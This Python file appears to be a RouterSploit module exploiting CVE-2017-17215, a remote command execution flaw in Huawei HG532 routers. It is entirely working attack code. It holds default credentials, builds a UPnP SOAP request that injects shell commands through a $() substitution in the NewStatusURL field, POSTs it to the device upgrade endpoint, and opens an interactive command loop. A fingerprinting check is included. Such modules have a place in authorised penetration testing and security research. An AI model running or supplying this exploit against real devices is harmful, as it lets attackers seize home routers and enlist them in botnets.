from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient


class Exploit(HTTPClient):
    __info__ = {
        "name": "Huawei Router HG532 RCE",
        "description": "Module exploits remote command execution in Huawei Router HG532 devices. "
                       "If the target is vulnerable, command loop is invoked that allows executing commands "
                       "on operating system level.",
        "authors": (
            "@jnazario",  # routersploit module
        ),
        "references": (
            "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17215",
            "http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en",
            "https://pastebin.com/4nzunPB5",
        ),
        "devices": (
            "Huawei HG532",
        )
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(37215, "Target HTTP port")
    username = OptString("dslf-config", "Username to log in")
    password = OptString("admin", "Password to log in")

    def run(self):
        if self.check():
            print_success("Target appears to be vulnerable")
            print_status("Invoking command loop...")
            shell(self)
        else:
            print_error("Target is not vulnerable")

    def execute(self, cmd):
        payload = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"
        response = self.http_request(
            method='POST',
            path='/ctrlt/DeviceUpgrade_1',
            data=payload,
            auth=(self.username, self.password)
        )

        return response.text

    @mute
    def check(self):
        response = self.http_request(
            method="GET",
            path="/"
        )

        if response is not None and 'server' in response.headers.keys() and "Linux uPnP/1.0 Huawei-ATP-IGD" in response.headers['server']:
            return True  # target is vulnerable

        return False  # target is not vulnerable
